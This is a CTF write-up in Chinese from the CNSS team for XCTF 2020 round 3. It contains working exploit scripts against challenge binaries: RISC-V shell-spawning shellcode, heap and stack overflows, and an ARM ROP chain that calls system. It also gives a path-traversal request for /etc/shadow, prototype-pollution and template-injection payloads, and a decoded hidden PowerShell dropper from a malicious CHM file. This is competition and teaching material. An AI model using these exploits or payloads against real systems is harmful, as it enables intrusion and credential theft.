XCTF 2020 第三场 WriteUp - CNSS

RealWorld

luaplayground01

用IO读取文件flag_app,再用十六进制编码传递出来

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
file=io.open("/bin/flag_app","rb")
io.input(file)
content=io.read("*a")
function hex2str(hex)
local index=1
local ret=""
for index=1,hex:len() do
ret=ret..string.format("%02X",hex:sub(index):byte())
end
return ret
end
hex=hex2str(content)
for index=1,300 do
print(hex:sub(100*(index-1),100*index-1))
end

验证过程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
int sub_1154()
{
int v0; // r0
int v1; // r3
char v2; // r6
char v3; // r5
char v5[128]; // [sp+4h] [bp-94h] BYREF

puts("Input a flag to validate.");
read(1, v5, 128);
v0 = 0;
v1 = 0;
v5[127] = 0;
while ( v1 != 42 )
{
v2 = byte_407[v1 & 31] ^ v5[v1];
v3 = byte_427[v1++];
v0 |= (char)(v2 ^ v3);
}
if ( !v0 )
puts("Congratz! Flag is your input");
return 0;
}

求解过程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#include <cstdio>
unsigned char byte_407[32]={
250, 1, 134, 49, 125, 177, 105, 211, 184, 200, 166,
214, 152, 203, 142, 3, 209, 104, 88, 103, 178, 230,
64, 130, 122, 195, 253, 161, 223, 240, 150, 191
};
unsigned char byte_427[42]={
156, 109, 231, 86, 6, 210, 13, 235, 221, 240, 158,
183, 251, 230, 236, 59, 183, 94, 117, 83, 214, 131,
117, 175, 24, 247, 153, 149, 242, 193, 242, 219, 159,
101, 180, 6, 73, 135, 88, 226, 222, 181
};
int main(){
for (int i=0;i<42;i++)
printf("%c",byte_427[i]^(byte_407[i%32]));
}

Pwn

harmoshell

riscv64 无保护

套了个 shell 壳子的堆题

栈溢出

image.png

echo 一个不存在的文件会栈溢出

image.png

shellcode

https://thomask.sdf.org/blog/2018/08/25/basic-shellcode-in-riscv-linux.html

1
payload = b"\\xb7\\xa4\\x43\\x03\\x9b\\x84\\x94\\x97\\x93\\x94\\xc4\\x00\\x93\\x84\\x74\\x7b\\x93\\x94\\xc4\\x00\\x93\\x84\\xb4\\x34\\x93\\x94\\xd4\\x00\\x93\\x84\\xf4\\x22\\x23\\x38\\x91\\xfe\\x23\\x3c\\x01\\xfe\\x13\\x05\\x01\\xff\\x93\\x25\\xf0\\xff\\x13\\x26\\xf0\\xff\\x93\\x08\\xd0\\x0d\\x73\\x00\\x00\\x00"

需要泄露一个栈上的地址

远程打不通栈是动态的

但是貌似堆是静态的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import *
context.arch = 'mips'
context.bits = "64"
context.endian = 'little'
context.log_level = 'DEBUG'
context.terminal=["open-wsl.exe","-c"]

elf_dir = './harmoshell'


#p = process(["qemu-mipsel", elf_dir])
#p = process(["qemu-mipsel", "-g", "8888", elf_dir])
#p = remote('183.129.189.60', 10030)

if(len(sys.argv) == 1):
#p = process(["qemu-mipsel", "-g", "8888", "-E", "LD_PRELOAD={}".format(libc_dir) , elf_dir])
#p = process(["qemu-mipsel", "-g", "8888", elf_dir])
p = process(["./qemu-riscv64", "-g", "8888" , "-L", "./libs", elf_dir])

else:
p = remote('121.37.222.236', 9999)

p.sendlineafter("$", b'touch fuck')
p.sendlineafter("$", b'echo >> fuck')

shellcode = b'\\xb7\\xa4\\x43\\x03\\x9b\\x84\\x94\\x97\\xb2\\x04\\x93\\x84\\x74\\x7b\\xb2\\x04\\x93\\x84\\xb4\\x34\\xb6\\x04\\x93\\x84\\xf4\\x22\\x23\\x38\\x91\\xfe\\x23\\x3c\\x01\\xfe\\x13\\x05\\x01\\xff\\x93\\x25\\xf0\\xff\\x13\\x26\\xf0\\xff\\x93\\x08\\xd0\\x0d\\x93\\x06\\x30\\x07\\x23\\x0e\\xd1\\xfe\\x93\\x06\\xe1\\xff\\x67\\x80\\xe6\\xff'
p.sendline(shellcode)

p.sendlineafter("$", b'echo > test')
payload = b'\\xaa'*312 + p64(0x25f10)

p.sendline(payload)

p.interactive()

harmoshell2

image.png

echo >> xxx 可以无限加长度 造成堆溢出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
char* list[MAX];
node *p = list[idx];
struct node{
char name[0x10];
char *buf;
long long size;
long long offset;
}
from pwn import *
context.log_level = 'debug'
context.terminal = ['tmux', '-h', 'splitw']

# p = process(['./qemu-riscv64', '-g', '7777', '-L', './libs', './harmoshell2'])
# p = process(['./qemu-riscv64', '-L', './libs', './harmoshell2'])
p = remote('139.159.132.55', 9999)

def create(file_name):
p.sendlineafter("$ ", "touch %s"%file_name)

def edit(file_name, content, cover=False):
if cover is True:
p.sendlineafter("$ ", "echo > %s"%file_name)
else:
p.sendlineafter("$ ", "echo >> %s"%file_name)
sleep(0.5)
p.sendline(content)

def show(file_name):
p.sendlineafter("$ ", "cat %s"%file_name)

def delete(file_name):
p.sendlineafter("$ ", "rm %s"%file_name)

def show_list():
p.sendlineafter("$ ", "ls")

def main():
# pause()
create("1")
create("2")
create("3")
create("padding")

payload = b"\\xb7\\xa4\\x43\\x03\\x9b\\x84\\x94\\x97\\x93\\x94\\xc4\\x00\\x93\\x84\\x74\\x7b\\x93\\x94\\xc4\\x00\\x93\\x84\\xb4\\x34\\x93\\x94\\xd4\\x00\\x93\\x84\\xf4\\x22\\x23\\x38\\x91\\xfe\\x23\\x3c\\x01\\xfe\\x13\\x05\\x01\\xff\\x93\\x25\\xf0\\xff\\x13\\x26\\xf0\\xff\\x93\\x08\\xd0\\x0d\\x73\\x00\\x00\\x00".ljust(0xff, b'\\x00')
edit("1", payload)
edit("1", p64(0) + p64(0x31) + b"2".ljust(16, b'\\x00') + p64(0x13090))
edit("2", p64(0x25f10))
delete("3")

p.interactive()

if __name__ == "__main__":
main()

"""
b *0x011146 malloc1
b *0x01121a free
b *0x0113d4 copy_to_file
"""

pwn1

ret2csu

1
2
3
4
5
gdb-multiarch \\
-ex 'set architecture arm' \\
-ex 'set endian little' \\
-ex 'target remote localhost:8888' \\
-ex 'b *0x10500'

经典栈溢出,不过因为 arm 的传参以及返回方式与 x64 不太一样,所以需要小心构造,特别是那个叫 sb(R9) 的寄存器

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
from pwn import *
context.arch = 'arm'
context.bits = "32"
context.endian = 'little'
context.log_level = 'DEBUG'
context.terminal=["open-wsl.exe","-c"]

elf_dir = './bin'

if(len(sys.argv) == 1):
#p = process(["qemu-mipsel", "-g", "8888", "-E", "LD_PRELOAD={}".format(libc_dir) , elf_dir])
p = process(["qemu-arm", "-L", '/usr/arm-linux-gnueabihf/', "-g", "8888", elf_dir])

else:
p = remote('139.159.210.220', 9999)

elf = ELF(elf_dir)

# 00010540 CMP R9, R5
# 00010544 POPEQ {R4-R10,PC}
popeq = 0x10540

# 00010548 LDR R3, [R4],#4

# 0001054C MOV R2, R8
# 00010550 MOV R1, R7
# 00010554 MOV R0, R6
# 00010558 BLX R3
pop_and_call = 0x1054c

# 0x00010348 : pop {r3, pc}
pop_r3_pc = 0x10348

payload = b'\\xff'*0x104
#payload += p32(popeq) + p32(0xffffffff)*8
payload += p32(popeq)
payload += p32(0)*2 + p32(elf.got['printf']) + p32(0)*2 + p32(0xffffffff) + p32(0)
payload += p32(pop_r3_pc) + p32(elf.plt['printf']) + p32(pop_and_call)

payload += p32(0)*2 + p32(0) + p32(0x21020) + p32(0x10) + p32(0xffffffff) + p32(0)
payload += p32(pop_r3_pc) + p32(elf.plt['read']) + p32(pop_and_call)

payload += p32(0)*2 + p32(0) + p32(elf.got['setvbuf']) + p32(0x10) + p32(0xffffffff) + p32(0)
payload += p32(pop_r3_pc) + p32(elf.plt['read']) + p32(pop_and_call)

payload += p32(0)*2 + p32(0x21020) + p32(0)*2 + p32(0xffffffff) + p32(0)
payload += p32(pop_r3_pc) + p32(elf.plt['setvbuf']) + p32(pop_and_call)

p.sendafter('input: ', payload)

printf = u32(p.recv()[:4])
success("printf: " + hex(printf))

libc = ELF('./libc-2.31.so')
#libc = ELF('/usr/arm-linux-gnueabihf/lib/libc-2.31.so')

libc_base = printf - libc.symbols['printf']
success("libc_base: " + hex(libc_base))
system = libc_base + libc.symbols['system']
success("system: " + hex(system))

p.sendline(b'/bin/sh')
p.send(p32(system))

p.interactive()

Reverse

re123

拖入 exeinfope 发现是一个 chm 文件。

使用 hh 反编译后在 doc.htm 里发现执行的代码:

1
,cmd.exe,/c START /MIN C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -NoLogo -NoProfile powershell.exe -WindowStyle hidden -nologo -noprofile -e SQBuAHYAbwBrAGUALQBFAHgAcAByAGUAcwBzAGkAbwBuACAAJAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABJAE8ALgBTAHQAcgBlAGEAbQBSAGUAYQBkAGUAcgAgACgAJAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABJAE8ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ALgBEAGUAZgBsAGEAdABlAFMAdAByAGUAYQBtACAAKAAkACgATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACAAKAAsACQAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACcAVABZADUAQgBDADQASQB3AEcASQBiAHYAZwB2ADkAaABqAEIAMgBNAGMASgBoAEUAaABOAEMAaABKAE0ARwBUAGsATgAyAHEAZwA3AHEAdgBGAEgAUQBUAC8AYgBMADUANwA1AHYAcABvAFYAMgAvADUAMwBuADIAcwBrAEoASgBCAEkAbgBrAFEARwA1AHgAdwBxAE8AcQBoAGsAYwBRAFgAQwBBAFQAeAA3AHEAKwBnAGsAYQBIAHMAdgBZAGoANwBrAEkAVgB2AEMAZwBiAHUAcgBJAHQAVgBnAG0AOQBNAFQAeABiAFYAQgA1AEwAQQBUAHAANQBPAGwAUQB2AGIANgBJAE0AVgAwAEwAZABRAHYAZABQAHAAdQArADgAeAA2ADYAUwBMADIAZQBPAHIATQBsACsAQwBrADcAbgBhAFUAQQA2ADkAZwBnAE4ARAA1AFUAYwBvAEUATwB6AEkAKwBwAFUAYwA4AHAANgAyAEcAMwBUAFIAWgB1AGIAdgAzADQASwA2AEkAYgBMAGUAcwBwAEEARABvAEcAUgAyADcAdgB2ACsAUgA3AEgAcABxAFgAegB0ADgAUQA5AHkAMABJAEoASQA1AE4AOABSAEwAQwB0AEwAdwA9AD0AJwApACkAKQApACwAIABbAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgBNAG8AZABlAF0AOgA6AEQAZQBjAG8AbQBwAHIAZQBzAHMAKQApACwAIABbAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkAKQAuAFIAZQBhAGQAVABvAEUAbgBkACgAKQA7AA==

主要就是用 powershell 执行后面的代码,解密可得:

1
Invoke-Expression $(New-Object IO.StreamReader ($(New-Object IO.Compression.DeflateStream ($(New-Object IO.MemoryStream (,$([Convert]::FromBase64String('TY5BC4IwGIbvgv9hjB2McJhEhNChJMGTkN2qg7qvFHQT/bL575vpoV2/53n2skJJBInkQG5xwqOqhkcQXCATx7q+gkaHsvYj7kIVvCgburItVgm9MTxbVB5LATp5OlQvb6IMV0LdQvdPpu+8x66SL2eOrMl+Ck7naUA69ggND5UcoEOzI+pUc8p62G3TRZubv34K6IbLespADoGR27vv+R7HpqXzt8Q9y0IJI5N8RLCtLw==')))), [IO.Compression.CompressionMode]::Decompress)), [Text.Encoding]::ASCII)).ReadToEnd();

直接在 powershell 运行 Invoke-Expression 后的代码可得:

1
2
3
4
5
6
7
$content = [IO.File]::ReadAllText("$pwd\doc.chm")
$idx1 = $content.IndexOf("xxxxxxxx")

$helper = $content.Substring($idx1 + 8)
$cont = [System.Convert]::FromBase64String($helper)

Set-Content "$env:temp\2020.tmp" $cont -Encoding byte

再用二进制打开 chm 文件,拿到 “xxxxxxxx” 之后的内容,再用 base64 解密,得到了一个 dll 文件,里面就一个 AES_ECB 加密,解密即得 flag。

1
2
3
4
5
6
from Crypto.Cipher import AES
aes_key = 0x16157E2B.to_bytes(4, "little") + 0xA6D2AE28.to_bytes(4, "little") + 0x8815F7AB.to_bytes(4, "little") + 0x3C4FCF09.to_bytes(4, "little")
aes_cipher = 0xE799D643453FF4B5.to_bytes(8, "little") + 0x46C42084AA2A1B56.to_bytes(8, "little")
aes = AES.new(aes_key, AES.MODE_ECB)
a = aes.decrypt(aes_cipher)
print(a)

Web

华为HCIE的第一课

可目录遍历

1
<http://121.37.187.239:31480/?f=../../../../../etc/shadow>

./routes/admin.js 想办法让req.session.ip=1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
module.exports = (app, env) => {

const {htmlencode, replaceAll, md5} = require("./util")
const fs = require("fs")
const path = require("path")

app.get('/admin', (req, res) => {
let user
try {
user = JSON.parse(`{"name" : "${req.session.name}", "time" : "${Math.ceil(new Date().getTime() / 1000)}", "ip" : "${req.ip}"}`)
} catch (e) {
res.end("error")
return
}
let userinfo = {}
Object.keys(user).forEach((key) => {
if (key.trim() === "isAdmin")
userinfo[key] = 0
else userinfo[key] = user[key]
})

if (req.session.ip === '127.0.0.1')
userinfo.isAdmin = 1;

req.session.name = userinfo.name
req.session.time = userinfo.time
req.session.ip = userinfo.ip
req.session.isAdmin = userinfo.isAdmin

if (req.session.isAdmin !== 1) {
res.end("forbidden")
return;
}

res.render("admin", {"name":req.session.name})
})

app.post("/admin", async (req, res)=>{
if (!req.session.isAdmin || !req.body.code) {
res.status(403).end("forbidden")
return
}

let html = "name : {{name}}, time : {{time}}, ip : {{ip}} \\ntips: {{env.banner}}<br><a href='/admin'>返回</a><br><br>\\n\\n" + fs.readFileSync(path.resolve(__dirname, "../views/calc.html"))
let list = ['secret', 'env', 'flag', 'if', 'unless', 'for', 'lookup', '[', ']', '@' ]
let code = req.body.code + ""
let padd = `<p class="t-big-margin no-margin-b flex-center">这里开发中...&nbsp; <a href="/admin" target="_blank">去开发</a></p>`

await list.forEach((black) => {
code = replaceAll(black, htmlencode(black), code)
})

html = html.replace(padd, code)
let filename = md5(html) + ".html"
let filepath = path.resolve(__dirname, "../views/users/"+filename)
if (fs.existsSync(filepath))
fs.unlinkSync(filepath)
fs.writeFile(filepath, html, err => {
if (err) {
res.end("error")
} else {
res.render("users/"+filename, {
"name" : req.session.name,
"time" : Math.ceil(new Date().getTime() / 1000),
"ip" : req.ip,
"env" : env.parsed
})
}
})

})

}

req.ip处考虑原型链污染。

POST /

1
{"username":"\\",\\"__proto__\\":{\\"isAdmin\\":1},\\"c\\":\\""}

GET /admin

触发原型链污染将 isAdmin 置为 1

hbs 模板注入

1
{{#each this}}{{#each this}}{{this.toString}}{{/each}}{{/each}}